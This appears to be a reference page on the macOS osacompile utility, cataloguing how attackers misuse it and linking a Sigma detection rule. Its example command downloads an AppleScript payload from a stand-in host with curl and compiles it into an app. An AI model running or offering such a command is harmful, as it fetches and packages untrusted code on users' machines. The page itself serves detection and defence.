macos community v1.0.0

osacompile

Compile AppleScripts or OSA language scripts.

📋 Live Preview
osacompile
osacompile

Sandbox: execFile · Timeout: 30s

Capabilities

network.commandandcontrol
resource.development

Examples

Download and compile a payload: The following command downloads an applescript payload from getpayload.com and compiles it into an app.

curl https://getpayload.com/payload_code.apple_script && osacompile -x -e payload_code.apple_script -o payload.app

Detection

TypeRule / Indicator
sigma https://github.com/SigmaHQ/sigma/pull/4127/commits/f4b0264a83e5f47473029e26dc0879fb196a7d07 Sigma: In-Memory Download And Compile Of Payloads (experimental/pending)

Documentation

osacompile is a utility used to compile scripts into executables. It's a component of Open Scripting Architecture (OSA) that Apple uses for its scripting languages, like AppleScript and JavaScript for Automation (JXA). osacompile accepts AppleScript code as input and produces a compiled script file, which can be either a script file (.scpt), an app (.app), a droplet, or a script bundle.

References